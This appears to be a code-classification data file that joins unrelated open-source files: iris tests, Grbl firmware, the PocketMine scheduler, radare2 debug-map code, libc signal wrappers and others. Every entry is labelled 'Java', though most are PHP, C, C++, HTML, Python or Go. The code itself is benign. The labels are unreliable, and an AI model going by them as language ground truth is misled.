units=self.cf_coord_var.units,
bounds=bounds)
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
if __name__ == '__main__':
tests.main()
| Java |
<?php
/*
* Copyright (c) 2012-2016, Hofmänner New Media.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This file is part of the N2N FRAMEWORK.
*
* The N2N FRAMEWORK is free software: you can redistribute it and/or modify it under the terms of
* the GNU Lesser General Public License as published by the Free Software Foundation, either
* version 2.1 of the License, or (at your option) any later version.
*
* N2N is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
* the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details: http://www.gnu.org/licenses/
*
* The following people participated in this project:
*
* Andreas von Burg.....: Architect, Lead Developer
* Bert Hofmänner.......: Idea, Frontend UI, Community Leader, Marketing
* Thomas Günther.......: Developer, Hangar
*/
namespace n2n\web\dispatch\target;
class PropertyPathMissmatchException extends DispatchTargetException {
}
| Java |
/*
counters.c - code pertaining to encoders and other counting methods
Part of Grbl
Copyright (c) 2014 Adam Shelly
Grbl is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Grbl is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Grbl. If not, see <http://www.gnu.org/licenses/>.
*/
#include "system.h"
#include "counters.h"
uint32_t alignment_debounce_timer=0;
#define PROBE_DEBOUNCE_DELAY_MS 25
counters_t counters = {{0}};
// Counters pin initialization routine.
void counters_init()
{
//encoders and feedback //TODO: move to new file
#ifdef KEYME_BOARD
FDBK_DDR &= ~(FDBK_MASK); // Configure as input pins
FDBK_PORT |= FDBK_MASK; // Enable internal pull-up resistors. Normal high operation. //TODO test
#endif
counters.state = FDBK_PIN&FDBK_MASK; //record initial state
counters_enable(0); //default to no encoder
}
void counters_enable(int enable)
{
if (enable) {
FDBK_PCMSK |= FDBK_MASK; // Enable specific pins of the Pin Change Interrupt
PCICR |= (1 << FDBK_INT); // Enable Pin Change Interrupt
}
else {
FDBK_PCMSK &= ~FDBK_MASK; // Disable specific pins of the Pin Change Interrupt
PCICR &= ~(1 << FDBK_INT); // Disable Pin Change Interrupt
}
}
// Resets the counts for an axis
void counters_reset(uint8_t axis)
{
counters.counts[axis]=0;
if (axis == Z_AXIS) { counters.idx=0; }
}
// Returns the counters pin state. Triggered = true. and counters state monitor.
count_t counters_get_count(uint8_t axis)
{
return counters.counts[axis];
}
uint8_t counters_get_state(){
return counters.state;
}
int16_t counters_get_idx(){
return counters.idx;
}
int debounce(uint32_t* bounce_clock, int16_t lockout_ms) {
uint32_t clock = masterclock;
//allow another reading if lockout has expired
// (or if clock has rolled over - otherwise we could wait forever )
if ( clock > (*bounce_clock + lockout_ms) || (clock < *bounce_clock) ) {
*bounce_clock = clock;
return 1;
}
return 0;
}
ISR(FDBK_INT_vect) {
uint8_t state = FDBK_PIN&FDBK_MASK;
uint8_t change = (state^counters.state);
int8_t dir=0;
//look for encoder change
if (change & ((1<<Z_ENC_CHA_BIT)|(1<<Z_ENC_CHB_BIT))) { //if a or b changed
counters.anew = (state>>Z_ENC_CHA_BIT)&1;
dir = counters.anew^counters.bold ? 1 : -1;
counters.bold = (state>>Z_ENC_CHB_BIT)&1;
counters.counts[Z_AXIS] += dir;
}
//count encoder indexes
if (change & (1<<Z_ENC_IDX_BIT)) { //idx changed
uint8_t idx_on = ((state>>Z_ENC_IDX_BIT)&1);
if (idx_on) {
counters.idx += dir;
}
}
//count rotary axis alignment pulses.
if (change & (1<<ALIGN_SENSE_BIT)) { //sensor changed
if (debounce(&alignment_debounce_timer, PROBE_DEBOUNCE_DELAY_MS)){
if (!(state&PROBE_MASK)) { //low is on.
counters.counts[C_AXIS]++;
}
}
}
counters.state = state;
}
| Java |
/********************************************************************************
**
** Copyright (C) 2016-2021 Pavel Pavlov.
**
**
** This file is part of SprintTimer.
**
** SprintTimer is free software: you can redistribute it and/or modify
** it under the terms of the GNU Lesser General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** SprintTimer is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU Lesser General Public License for more details.
**
** You should have received a copy of the GNU Lesser General Public License
** along with SprintTimer. If not, see <http://www.gnu.org/licenses/>.
**
*********************************************************************************/
#include "core/use_cases/SprintMapper.h"
namespace sprint_timer::use_cases {
SprintDTO makeDTO(const entities::Sprint& sprint)
{
const auto& tagsEnt = sprint.tags();
std::vector<std::string> tags(tagsEnt.size());
std::transform(cbegin(tagsEnt),
cend(tagsEnt),
begin(tags),
[](const auto& elem) { return elem.name(); });
return SprintDTO{sprint.uuid(),
sprint.taskUuid(),
sprint.name(),
tags,
sprint.timeSpan()};
}
entities::Sprint fromDTO(const SprintDTO& dto)
{
const auto& tagStr = dto.tags;
std::list<entities::Tag> tags(tagStr.size());
std::transform(cbegin(tagStr),
cend(tagStr),
begin(tags),
[](const auto& elem) { return entities::Tag{elem}; });
return entities::Sprint{
dto.taskName, dto.timeRange, tags, dto.uuid, dto.taskUuid};
}
std::vector<SprintDTO> makeDTOs(const std::vector<entities::Sprint>& sprints)
{
std::vector<SprintDTO> res;
res.reserve(sprints.size());
makeDTOs(cbegin(sprints), cend(sprints), std::back_inserter(res));
return res;
}
std::vector<entities::Sprint> fromDTOs(const std::vector<SprintDTO>& dtos)
{
std::vector<entities::Sprint> res;
res.reserve(dtos.size());
fromDTOs(cbegin(dtos), cend(dtos), std::back_inserter(res));
return res;
}
} // namespace sprint_timer::use_cases
| Java |
package org.toughradius.handler;
public interface RadiusConstant {
public final static String VENDOR_TOUGHSOCKS = "18168";
public final static String VENDOR_MIKROTIK = "14988";
public final static String VENDOR_IKUAI = "10055";
public final static String VENDOR_HUAWEI = "2011";
public final static String VENDOR_ZTE = "3902";
public final static String VENDOR_H3C = "25506";
public final static String VENDOR_RADBACK = "2352";
public final static String VENDOR_CISCO = "9";
}
| Java |
<!DOCTYPE html>
<html>
<!-- This file is automatically generated: do not edit. -->
<head>
<title>Backtesting</title>
<meta charset="utf-8">
</head>
<body>
<!-- <h1>Backtesting</h1> -->
<h2>Backtesting</h2>
<p>The architecure of OpenTrader supports different chefs (backtesters), and it<br />
is assumed that some will have different features, strengths, and weaknesses.<br />
We want to lay out here the minimum requirements for inclusion, and we want<br />
lay out what we are looking for even if there is no currently available<br />
open source code that does everything we are looking for.</p>
<p>Because there may be a large tradeoff between some features and speed, and<br />
because speed in backtesting is a prerequisite to do multi-variate optimization,<br />
we can imagine have more than one type of backtester: a fast coarse one, and a<br />
slower fine one. The former can be used to narrow down the range of parameters,<br />
and the latter can be used to test the former in more realisitic conditions.<br />
In backtesters, vector approaches (like pybacktest) are in the former category,<br />
and usually event-driven backtesters are in the latter. The same may also<br />
be true of backtesting versus live-trading, as it usually requires an<br />
event-driven backtester.</p>
<p>It must be borne in mind that any of the currently available software projects<br />
are moving targets that may gain new features from one release to the next.<br />
So can their speed greatly from one release to the next, and it's usually best<br />
to just a project based on its quality and see how it evolves rather than just<br />
judge it on criteria. This is especially true now that core bottlenecks are being<br />
rewritten in Cython. Similarly, if a feature is missing and important enough to us,<br />
we perhaps can implement the feature and push it back upstream.</p>
<h3>Criteria</h3>
<p>Idealy, our backtesters will have all of the features found in the Stategy Tester,<br />
so that we can make direct comparisons.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>Open source.</li>
<li>Panderific. At the very least, numpy arrays as the basis.</li>
</ul>
<p><strong>Nice to Have:</strong></p>
<ul>
<li>trailing stop-loss implementation</li>
<li>easily adapted to live-trading</li>
</ul>
<p><strong>Nice not to Have:</strong></p>
<ul>
<li>slow</li>
</ul>
<h3>Candidates</h3>
<p>We list here some of the open source software that we know of, with some<br />
comments based on our Criteria:</p>
<p><a href="pybacktest">https://github.com/ematvey/pybacktest/</a><br />
Fast, vectorized, no trailing stop-loss. <tt>pybacktest</tt> was the first bactester<br />
included in OpenTrader (see <a href="DocOTCmd2_backtest.html">DocOTCmd2_backtest</a>), and it formed the basis<br />
for our initial architecture. Very succinct.</p>
<p><a href="bt">https://github.com/pmorissette/bt</a><br />
No trailing stop-loss.</p>
<p><a href="zipline">https://github.com/quantopian/zipline</a><br />
Very actively developed. Not very fast. No trailing stop-loss.</p>
<p><a href="pyalgotrade">http://gbeced.github.io/pyalgotrade</a><br />
Actively developed and well-documented.<br />
Numpied, not pandaed. No trailing stop-loss.</p>
<p><a href="ultrafinance">https://github.com/panpanpandas/ultrafinance</a><br />
Numpied, not pandaed. Event driven backtester.</p>
<p><a href="tradingmachine">http://pypi.python.org/pypi/tradingmachine/</a><br />
Pandaed. Event driven backtester.</p>
<hr />
<p>See also:</p>
<ul>
<li><a href="http://tradingwithpython.blogspot.fr/2014/05/backtesting-dilemmas.html">http://tradingwithpython.blogspot.fr/2014/05/backtesting-dilemmas.html</a></li>
</ul>
<p>Parent: <a href="Architecture.html">Architecture</a></p></body>
</html>
| Java |
/*
Copyright 2015 Infinitycoding all rights reserved
This file is part of the mercury c-library.
The mercury c-library is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
The mercury c-library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with the mercury c-library. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @author Michael Sippel (Universe Team) <micha@infinitycoding.de>
*/
#include <syscall.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
sighandler_t signal(int signum, sighandler_t handler)
{
linux_syscall(SYS_SIGNAL, signum,(uint32_t) handler, 0, 0, 0);
return handler;
}
int kill(pid_t pid, int sig)
{
return linux_syscall(SYS_KILL, pid, sig, 0, 0, 0);
}
int raise(int sig)
{
return kill(getpid(), sig);
}
| Java |
/*
* Copyright 2017 Crown Copyright
*
* This file is part of Stroom-Stats.
*
* Stroom-Stats is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Stroom-Stats is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Stroom-Stats. If not, see <http://www.gnu.org/licenses/>.
*/
package stroom.stats.configuration;
import org.ehcache.spi.loaderwriter.CacheLoaderWriter;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.context.internal.ManagedSessionContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.inject.Inject;
import java.util.Map;
public class StatisticConfigurationCacheByUuidLoaderWriter implements CacheLoaderWriter<String,StatisticConfiguration>{
private static final Logger LOGGER = LoggerFactory.getLogger(StatisticConfigurationCacheByUuidLoaderWriter.class);
private final StroomStatsStoreEntityDAO stroomStatsStoreEntityDAO;
private final SessionFactory sessionFactory;
@Inject
public StatisticConfigurationCacheByUuidLoaderWriter(final StroomStatsStoreEntityDAO stroomStatsStoreEntityDAO,
final SessionFactory sessionFactory) {
this.stroomStatsStoreEntityDAO = stroomStatsStoreEntityDAO;
this.sessionFactory = sessionFactory;
}
@Override
public StatisticConfiguration load(final String key) throws Exception {
LOGGER.trace("load called for key {}", key);
//EHCache doesn't cache null values so if we can't find a stat config for this uuid,
//just return null
try (Session session = sessionFactory.openSession()) {
ManagedSessionContext.bind(session);
session.beginTransaction();
StatisticConfiguration statisticConfiguration = stroomStatsStoreEntityDAO.loadByUuid(key).orElse(null);
LOGGER.trace("Returning statisticConfiguration {}", statisticConfiguration);
return statisticConfiguration;
} catch (Exception e) {
throw new RuntimeException(String.format("Error loading stat store entity by uuid %s", key), e);
}
}
@Override
public Map<String, StatisticConfiguration> loadAll(final Iterable<? extends String> keys)
throws Exception {
throw new UnsupportedOperationException("loadAll (getAll) is not currently supported on this cache");
}
@Override
public void write(final String key, final StatisticConfiguration value) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void writeAll(final Iterable<? extends Map.Entry<? extends String, ? extends StatisticConfiguration>> entries) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void delete(final String key) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void deleteAll(final Iterable<? extends String> keys) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
}
| Java |
<?php
/*
*
* ____ _ _ __ __ _ __ __ ____
* | _ \ ___ ___| | _____| |_| \/ (_)_ __ ___ | \/ | _ \
* | |_) / _ \ / __| |/ / _ \ __| |\/| | | '_ \ / _ \_____| |\/| | |_) |
* | __/ (_) | (__| < __/ |_| | | | | | | | __/_____| | | | __/
* |_| \___/ \___|_|\_\___|\__|_| |_|_|_| |_|\___| |_| |_|_|
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* @author PocketMine Team
* @link http://www.pocketmine.net/
*
*
*/
/**
* Task scheduling related classes
*/
namespace pocketmine\scheduler;
use pocketmine\plugin\Plugin;
use pocketmine\Server;
use pocketmine\utils\MainLogger;
use pocketmine\utils\PluginException;
use pocketmine\utils\ReversePriorityQueue;
class ServerScheduler{
public static $WORKERS = 2;
/**
* @var ReversePriorityQueue<Task>
*/
protected $queue;
/**
* @var TaskHandler[]
*/
protected $tasks = [];
/** @var AsyncPool */
protected $asyncPool;
/** @var int */
private $ids = 1;
/** @var int */
protected $currentTick = 0;
public function __construct(){
$this->queue = new ReversePriorityQueue();
$this->asyncPool = new AsyncPool(Server::getInstance(), self::$WORKERS);
}
/**
* @param Task $task
*
* @return null|TaskHandler
*/
public function scheduleTask(Task $task){
return $this->addTask($task, -1, -1);
}
/**
* Submits an asynchronous task to the Worker Pool
*
* @param AsyncTask $task
*
* @return void
*/
public function scheduleAsyncTask(AsyncTask $task){
$id = $this->nextId();
$task->setTaskId($id);
$this->asyncPool->submitTask($task);
}
/**
* Submits an asynchronous task to a specific Worker in the Pool
*
* @param AsyncTask $task
* @param int $worker
*
* @return void
*/
public function scheduleAsyncTaskToWorker(AsyncTask $task, $worker){
$id = $this->nextId();
$task->setTaskId($id);
$this->asyncPool->submitTaskToWorker($task, $worker);
}
public function getAsyncTaskPoolSize(){
return $this->asyncPool->getSize();
}
public function increaseAsyncTaskPoolSize($newSize){
$this->asyncPool->increaseSize($newSize);
}
/**
* @param Task $task
* @param int $delay
*
* @return null|TaskHandler
*/
public function scheduleDelayedTask(Task $task, $delay){
return $this->addTask($task, (int) $delay, -1);
}
/**
* @param Task $task
* @param int $period
*
* @return null|TaskHandler
*/
public function scheduleRepeatingTask(Task $task, $period){
return $this->addTask($task, -1, (int) $period);
}
/**
* @param Task $task
* @param int $delay
* @param int $period
*
* @return null|TaskHandler
*/
public function scheduleDelayedRepeatingTask(Task $task, $delay, $period){
return $this->addTask($task, (int) $delay, (int) $period);
}
/**
* @param int $taskId
*/
public function cancelTask($taskId){
if($taskId !== \null and isset($this->tasks[$taskId])){
$this->tasks[$taskId]->cancel();
unset($this->tasks[$taskId]);
}
}
/**
* @param Plugin $plugin
*/
public function cancelTasks(Plugin $plugin){
foreach($this->tasks as $taskId => $task){
$ptask = $task->getTask();
if($ptask instanceof PluginTask and $ptask->getOwner() === $plugin){
$task->cancel();
unset($this->tasks[$taskId]);
}
}
}
public function cancelAllTasks(){
foreach($this->tasks as $task){
$task->cancel();
}
$this->tasks = [];
$this->asyncPool->removeTasks();
$this->queue = new ReversePriorityQueue();
$this->ids = 1;
}
/**
* @param int $taskId
*
* @return bool
*/
public function isQueued($taskId){
return isset($this->tasks[$taskId]);
}
/**
* @param Task $task
* @param $delay
* @param $period
*
* @return null|TaskHandler
*
* @throws PluginException
*/
private function addTask(Task $task, $delay, $period){
if($task instanceof PluginTask){
if(!($task->getOwner() instanceof Plugin)){
throw new PluginException("Invalid owner of PluginTask " . \get_class($task));
}elseif(!$task->getOwner()->isEnabled()){
throw new PluginException("Plugin '" . $task->getOwner()->getName() . "' attempted to register a task while disabled");
}
}elseif($task instanceof CallbackTask and Server::getInstance()->getProperty("settings.deprecated-verbose", \true)){
$callable = $task->getCallable();
if(\is_array($callable)){
if(\is_object($callable[0])){
$taskName = "Callback#" . \get_class($callable[0]) . "::" . $callable[1];
}else{
$taskName = "Callback#" . $callable[0] . "::" . $callable[1];
}
}else{
$taskName = "Callback#" . $callable;
}
Server::getInstance()->getLogger()->warning("A plugin attempted to register a deprecated CallbackTask ($taskName)");
}
if($delay <= 0){
$delay = -1;
}
if($period <= -1){
$period = -1;
}elseif($period < 1){
$period = 1;
}
return $this->handle(new TaskHandler(\get_class($task), $task, $this->nextId(), $delay, $period));
}
private function handle(TaskHandler $handler){
if($handler->isDelayed()){
$nextRun = $this->currentTick + $handler->getDelay();
}else{
$nextRun = $this->currentTick;
}
$handler->setNextRun($nextRun);
$this->tasks[$handler->getTaskId()] = $handler;
$this->queue->insert($handler, $nextRun);
return $handler;
}
/**
* @param int $currentTick
*/
public function mainThreadHeartbeat($currentTick){
$this->currentTick = $currentTick;
while($this->isReady($this->currentTick)){
/** @var TaskHandler $task */
$task = $this->queue->extract();
if($task->isCancelled()){
unset($this->tasks[$task->getTaskId()]);
continue;
}else{
$task->timings->startTiming();
try{
$task->run($this->currentTick);
}catch(\Exception $e){
Server::getInstance()->getLogger()->critical("Could not execute task " . $task->getTaskName() . ": " . $e->getMessage());
$logger = Server::getInstance()->getLogger();
if($logger instanceof MainLogger){
$logger->logException($e);
}
}
$task->timings->stopTiming();
}
if($task->isRepeating()){
$task->setNextRun($this->currentTick + $task->getPeriod());
$this->queue->insert($task, $this->currentTick + $task->getPeriod());
}else{
$task->remove();
unset($this->tasks[$task->getTaskId()]);
}
}
$this->asyncPool->collectTasks();
}
private function isReady($currentTicks){
return \count($this->tasks) > 0 and $this->queue->current()->getNextRun() <= $currentTicks;
}
/**
* @return int
*/
private function nextId(){
return $this->ids++;
}
}
| Java |
/* radare - LGPL - Copyright 2009-2017 - pancake */
#include <r_debug.h>
#include <r_list.h>
/* Print out the JSON body for memory maps in the passed map region */
static void print_debug_map_json(RDebug *dbg, RDebugMap *map, bool prefix_comma) {
dbg->cb_printf ("%s{", prefix_comma ? ",": "");
if (map->name && *map->name) {
char *escaped_name = r_str_escape (map->name);
dbg->cb_printf ("\"name\":\"%s\",", escaped_name);
free (escaped_name);
}
if (map->file && *map->file) {
char *escaped_path = r_str_escape (map->file);
dbg->cb_printf ("\"file\":\"%s\",", escaped_path);
free (escaped_path);
}
dbg->cb_printf ("\"addr\":%" PFMT64u ",", map->addr);
dbg->cb_printf ("\"addr_end\":%" PFMT64u ",", map->addr_end);
dbg->cb_printf ("\"type\":\"%c\",", map->user?'u':'s');
dbg->cb_printf ("\"perm\":\"%s\"", r_str_rwx_i (map->perm));
dbg->cb_printf ("}");
}
/* Write the memory map header describing the line columns */
static void print_debug_map_line_header(RDebug *dbg, const char *input) {
// TODO: Write header to console based on which command is being ran
}
/* Write a single memory map line to the console */
static void print_debug_map_line(RDebug *dbg, RDebugMap *map, ut64 addr, const char *input) {
char humansz[8];
if (input[0] == 'q') { // "dmq"
char *name = (map->name && *map->name)
? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
r_num_units (humansz, sizeof (humansz), map->addr_end - map->addr);
dbg->cb_printf ("0x%016" PFMT64x " - 0x%016" PFMT64x " %6s %5s %s\n",
map->addr,
map->addr_end,
humansz,
r_str_rwx_i (map->perm),
name
);
free (name);
} else {
const char *fmtstr = dbg->bits & R_SYS_BITS_64
? "0x%016" PFMT64x " - 0x%016" PFMT64x " %c %s %6s %c %s %s %s%s%s\n"
: "0x%08" PFMT64x " - 0x%08" PFMT64x " %c %s %6s %c %s %s %s%s%s\n";
const char *type = map->shared ? "sys": "usr";
const char *flagname = dbg->corebind.getName
? dbg->corebind.getName (dbg->corebind.core, map->addr) : NULL;
if (!flagname) {
flagname = "";
} else if (map->name) {
char *filtered_name = strdup (map->name);
r_name_filter (filtered_name, 0);
if (!strncmp (flagname, "map.", 4) && \
!strcmp (flagname + 4, filtered_name)) {
flagname = "";
}
free (filtered_name);
}
r_num_units (humansz, sizeof (humansz), map->size);
dbg->cb_printf (fmtstr,
map->addr,
map->addr_end,
(addr >= map->addr && addr < map->addr_end) ? '*' : '-',
type,
humansz,
map->user ? 'u' : 's',
r_str_rwx_i (map->perm),
map->name ? map->name : "?",
map->file ? map->file : "?",
*flagname ? " ; " : "",
flagname
);
}
}
R_API void r_debug_map_list(RDebug *dbg, ut64 addr, const char *input) {
int i;
bool notfirst = false;
RListIter *iter;
RDebugMap *map;
if (!dbg) {
return;
}
switch (input[0]) {
case 'j': // "dmj" add JSON opening array brace
dbg->cb_printf ("[");
break;
case '*': // "dm*" don't print a header for r2 commands output
break;
default:
// TODO: Find a way to only print headers if output isn't being grepped
print_debug_map_line_header (dbg, input);
}
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
r_list_foreach (maps, iter, map) {
switch (input[0]) {
case 'j': // "dmj"
print_debug_map_json (dbg, map, notfirst);
notfirst = true;
break;
case '*': // "dm*"
{
char *name = (map->name && *map->name)
? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
dbg->cb_printf ("f map.%s 0x%08" PFMT64x " 0x%08" PFMT64x "\n",
name, map->addr_end - map->addr + 1, map->addr);
free (name);
}
break;
case 'q': // "dmq"
if (input[1] == '.') { // "dmq."
if (addr >= map->addr && addr < map->addr_end) {
print_debug_map_line (dbg, map, addr, input);
}
break;
}
print_debug_map_line (dbg, map, addr, input);
break;
case '.':
if (addr >= map->addr && addr < map->addr_end) {
print_debug_map_line (dbg, map, addr, input);
}
break;
default:
print_debug_map_line (dbg, map, addr, input);
break;
}
}
}
if (input[0] == 'j') { // "dmj" add JSON closing array brace
dbg->cb_printf ("]\n");
}
}
static int cmp(const void *a, const void *b) {
RDebugMap *ma = (RDebugMap*) a;
RDebugMap *mb = (RDebugMap*) b;
return ma->addr - mb->addr;
}
/**
* \brief Find the min and max addresses in an RList of maps.
* \param maps RList of maps that will be searched through
* \param min Pointer to a ut64 that the min will be stored in
* \param max Pointer to a ut64 that the max will be stored in
* \param skip How many maps to skip at the start of iteration
* \param width Divisor for the return value
* \return (max-min)/width
*
* Used to determine the min & max addresses of maps and
* scale the ascii bar to the width of the terminal
*/
static int findMinMax(RList *maps, ut64 *min, ut64 *max, int skip, int width) {
RDebugMap *map;
RListIter *iter;
*min = UT64_MAX;
*max = 0;
r_list_foreach (maps, iter, map) {
if (skip > 0) {
skip--;
continue;
}
if (map->addr < *min) {
*min = map->addr;
}
if (map->addr_end > *max) {
*max = map->addr_end;
}
}
return (*max - *min) / width;
}
static void print_debug_maps_ascii_art(RDebug *dbg, RList *maps, ut64 addr, int colors) {
ut64 mul; // The amount of address space a single console column will represent in bar graph
ut64 min = -1, max = 0;
int width = r_cons_get_size (NULL) - 90;
RListIter *iter;
RDebugMap *map;
RConsPrintablePalette *pal = &r_cons_singleton ()->context->pal;
if (width < 1) {
width = 30;
}
r_list_sort (maps, cmp);
mul = findMinMax (maps, &min, &max, 0, width);
ut64 last = min;
if (min != -1 && mul != 0) {
const char *color_prefix = ""; // Color escape code prefixed to string (address coloring)
const char *color_suffix = ""; // Color escape code appended to end of string
const char *fmtstr;
char humansz[8]; // Holds the human formatted size string [124K]
int skip = 0; // Number of maps to skip when re-calculating the minmax
r_list_foreach (maps, iter, map) {
r_num_units (humansz, sizeof (humansz), map->size); // Convert map size to human readable string
if (colors) {
color_suffix = Color_RESET;
if ((map->perm & 2) && (map->perm & 1)) { // Writable & Executable
color_prefix = pal->widget_sel;
} else if (map->perm & 2) { // Writable
color_prefix = pal->graph_false;
} else if (map->perm & 1) { // Executable
color_prefix = pal->graph_true;
} else {
color_prefix = "";
color_suffix = "";
}
} else {
color_prefix = "";
color_suffix = "";
}
if ((map->addr - last) > UT32_MAX) { // TODO: Comment what this is for
mul = findMinMax (maps, &min, &max, skip, width); // Recalculate minmax
}
skip++;
fmtstr = dbg->bits & R_SYS_BITS_64 // Prefix formatting string (before bar)
? "map %4.8s %c %s0x%016" PFMT64x "%s |"
: "map %4.8s %c %s0x%08" PFMT64x "%s |";
dbg->cb_printf (fmtstr, humansz,
(addr >= map->addr && \
addr < map->addr_end) ? '*' : '-',
color_prefix, map->addr, color_suffix); // * indicates map is within our current sought offset
int col;
for (col = 0; col < width; col++) { // Iterate over the available width/columns for bar graph
ut64 pos = min + (col * mul); // Current address space to check
ut64 npos = min + ((col + 1) * mul); // Next address space to check
if (map->addr < npos && map->addr_end > pos) {
dbg->cb_printf ("#"); // TODO: Comment what a # represents
} else {
dbg->cb_printf ("-");
}
}
fmtstr = dbg->bits & R_SYS_BITS_64 ? // Suffix formatting string (after bar)
"| %s0x%016" PFMT64x "%s %s %s\n" :
"| %s0x%08" PFMT64x "%s %s %s\n";
dbg->cb_printf (fmtstr, color_prefix, map->addr_end, color_suffix,
r_str_rwx_i (map->perm), map->name);
last = map->addr;
}
}
}
R_API void r_debug_map_list_visual(RDebug *dbg, ut64 addr, const char *input, int colors) {
if (dbg) {
int i;
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
if (maps) {
RListIter *iter;
RDebugMap *map;
if (input[1] == '.') { // "dm=." Only show map overlapping current offset
dbg->cb_printf ("TODO:\n");
r_list_foreach (maps, iter, map) {
if (addr >= map->addr && addr < map->addr_end) {
// print_debug_map_ascii_art (dbg, map);
}
}
} else { // "dm=" Show all maps with a graph
print_debug_maps_ascii_art (dbg, maps, addr, colors);
}
}
}
}
}
R_API RDebugMap *r_debug_map_new(char *name, ut64 addr, ut64 addr_end, int perm, int user) {
RDebugMap *map;
/* range could be 0k on OpenBSD, it's a honeypot */
if (!name || addr > addr_end) {
eprintf ("r_debug_map_new: error (\
%" PFMT64x ">%" PFMT64x ")\n", addr, addr_end);
return NULL;
}
map = R_NEW0 (RDebugMap);
if (!map) {
return NULL;
}
map->name = strdup (name);
map->addr = addr;
map->addr_end = addr_end;
map->size = addr_end-addr;
map->perm = perm;
map->user = user;
return map;
}
R_API RList *r_debug_modules_list(RDebug *dbg) {
return (dbg && dbg->h && dbg->h->modules_get)?
dbg->h->modules_get (dbg): NULL;
}
R_API int r_debug_map_sync(RDebug *dbg) {
bool ret = false;
if (dbg && dbg->h && dbg->h->map_get) {
RList *newmaps = dbg->h->map_get (dbg);
if (newmaps) {
r_list_free (dbg->maps);
dbg->maps = newmaps;
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap* r_debug_map_alloc(RDebug *dbg, ut64 addr, int size) {
RDebugMap *map = NULL;
if (dbg && dbg->h && dbg->h->map_alloc) {
map = dbg->h->map_alloc (dbg, addr, size);
}
return map;
}
R_API int r_debug_map_dealloc(RDebug *dbg, RDebugMap *map) {
bool ret = false;
ut64 addr = map->addr;
if (dbg && dbg->h && dbg->h->map_dealloc) {
if (dbg->h->map_dealloc (dbg, addr, map->size)) {
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap *r_debug_map_get(RDebug *dbg, ut64 addr) {
RDebugMap *map, *ret = NULL;
RListIter *iter;
r_list_foreach (dbg->maps, iter, map) {
if (addr >= map->addr && addr <= map->addr_end) {
ret = map;
break;
}
}
return ret;
}
R_API void r_debug_map_free(RDebugMap *map) {
free (map->name);
free (map);
}
R_API RList *r_debug_map_list_new() {
RList *list = r_list_new ();
if (!list) {
return NULL;
}
list->free = (RListFree)r_debug_map_free;
return list;
}
| Java |
// Copyright 2014 The go-ethereum Authors
// This file is part of the go-ethereum library.
//
// The go-ethereum library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// The go-ethereum library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with the go-ethereum library. If not, see <http://www.gnu.org/licenses/>.
// Package types contains data types related to Ethereum consensus.
package types
import (
"encoding/binary"
"encoding/json"
